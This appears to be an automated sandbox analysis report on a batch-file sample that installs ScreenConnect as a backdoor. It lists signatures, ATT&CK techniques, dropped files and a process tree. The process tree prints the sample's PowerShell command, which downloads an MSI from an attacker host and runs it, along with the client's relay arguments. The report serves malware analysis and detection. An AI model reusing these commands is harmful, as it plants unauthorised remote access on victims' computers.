Overview

overview

10

Static

static

1

invitedGuests.bat

windows10-2004-x64

10

invitedGuests.bat

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/05/2026, 00:24

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General

  • Target
    invitedGuests.bat
  • Size 1KB
  • Sample260528-aqa7hsbz2j
  • SHA256 e1cd006efa2d33192a1d909d099b9d2de54f4541f47940270dcd627fbad8a862
  • MD5 SHA1 SHA512 TLSH
Score
10/10
backdoordiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\invitedGuests.bat"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', 'C:\Users\Admin\AppData\Local\Temp\update_payload.msi') }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4012
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\update_payload.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3136
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5296
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 5B037A1E165D895446B4C39CA5B4E32D C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4956
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI59.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240648406 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3972
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5488
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2549BBD79558C8CF9380EE27B08E08DD
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3628
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 80A2EF7D3E4D312A6B94BF3F8C3BBE7D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:880
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5236
    • C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.hbdhfijnsgjnds.top&p=8041&s=e65dccc6-1b25-4b5a-bffe-83b13d163be5&k=BgIAAACkAABSU0ExAAgAAAEAAQDtM55PGM62vqHPXxli9msD1i7Avvn8297d%2fwjWL0x64zxgOvGWk%2fxRj8MzfolbkJHbQpPQ3wj2MzHPmdAETB4sNt0qoQCRD9LUpe6gEeH0t1nJj45xlJpA1BO2euLEBw0vQzwOtFPNvJ2wm%2blxslgfAiqe6rLYdHWS61y7BF6uPEmDjARyP1gRM%2fpdpFuzKlToMhVGfF%2bPkaTZoPNRLPehI0ecykyA7VgUGIDEhRb%2fvJNR%2fHpHkZRCOy2t7QDuAhiDlOszeDLDih2M6oLijX17aXOhZNsd8EfsFv78BQXUkz4EyqZwTPGKNNIzD%2fzXooGpCo2B7ePCtTAr9ZkGRYLx"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4188
      • C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsClient.exe" "RunRole" "dc1a4df0-85f1-4b5c-bc10-3cc29e729f5d" "User"
        2⤵
        • Executes dropped EXE
        PID:952
      • C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsClient.exe" "RunRole" "264c86d3-5d4e-4466-a3a4-54e8d51ea419" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:948

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          4
          T1012

          System Information Discovery

          5
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5832f3.rbs
          • Path C:\Config.Msi\e5832f3.rbs
          • Size 214KB
          • SHA256 f5bc818d7fc00a836a0d90e66cb8cd42aef54a47dd953bbc67499fb32674b589
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\Client.Override.en-US.resources
          • Size 251B
          • SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\Client.Override.resources
          • Size 65KB
          • SHA256 c20adbc60d1fc5128cb616de8ccb4e360f88cf85c9ff1c4d89426ce6eb4c4b75
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (06c3f938f4b99699)\system.config
          • Size 946B
          • SHA256 627978c416b9d86a23b5dd7f7b2673543d09ccf1809660b453dba89cbd13f19e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI59.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI59.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI59.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI59.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI59.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI59.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          __PSScriptPolicyTest_t02reo3l.cko.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t02reo3l.cko.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          update_payload.msi
          • Path C:\Users\Admin\AppData\Local\Temp\update_payload.msi
          • Size 13.0MB
          • SHA256 8ff5a3556ae6345cadf4d459761401e403f4213972e0068148546f11751f91ac
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI33DD.tmp
          • Path C:\Windows\Installer\MSI33DD.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 d26d32f3f7d0b94ccd21f3ba29073e3fec76e89ba707608c2740ea17a7737c90
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {dedc6de6-a9fb-41f6-9477-2f6ec81a7a7a}_OnDiskSnapshotProp
          • Path \??\Volume{12d9ef41-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{dedc6de6-a9fb-41f6-9477-2f6ec81a7a7a}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 f51ef4be2bee87be399fd4f84713d3a28f0c529cbef3540decf9afd0f398d12a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/952-135-0x000000001BBD0000-0x000000001BD7C000-memory.dmp
          Download

          memory/952-136-0x000000001BD80000-0x000000001BF06000-memory.dmp
          Download

          memory/952-134-0x000000001B990000-0x000000001BA1C000-memory.dmp
          Download

          memory/952-137-0x0000000002C50000-0x0000000002C68000-memory.dmp
          Download

          memory/952-133-0x0000000002C80000-0x0000000002CB6000-memory.dmp
          Download

          memory/952-132-0x0000000000A50000-0x0000000000AE8000-memory.dmp
          Download

          memory/952-138-0x0000000002E00000-0x0000000002E18000-memory.dmp
          Download

          memory/3972-32-0x00000000023E0000-0x000000000240E000-memory.dmp
          Download

          memory/3972-36-0x0000000002420000-0x000000000242A000-memory.dmp
          Download

          memory/3972-45-0x00000000051C0000-0x0000000005764000-memory.dmp
          Download

          memory/3972-44-0x0000000004A60000-0x0000000004C0C000-memory.dmp
          Download

          memory/3972-40-0x0000000004820000-0x00000000048AC000-memory.dmp
          Download

          memory/4012-8-0x0000017178F90000-0x0000017178FB2000-memory.dmp
          Download

          memory/4012-0-0x0000017177FB0000-0x0000017177FC0000-memory.dmp
          Download

          memory/4188-108-0x00000000041C0000-0x0000000004201000-memory.dmp
          Download

          memory/4188-101-0x0000000004210000-0x0000000004260000-memory.dmp
          Download

          memory/4188-106-0x0000000004340000-0x00000000043D2000-memory.dmp
          Download

          memory/4188-105-0x0000000004260000-0x0000000004296000-memory.dmp
          Download

          memory/4188-111-0x0000000004520000-0x00000000045F5000-memory.dmp
          Download

          memory/4188-90-0x0000000001690000-0x00000000016A8000-memory.dmp
          Download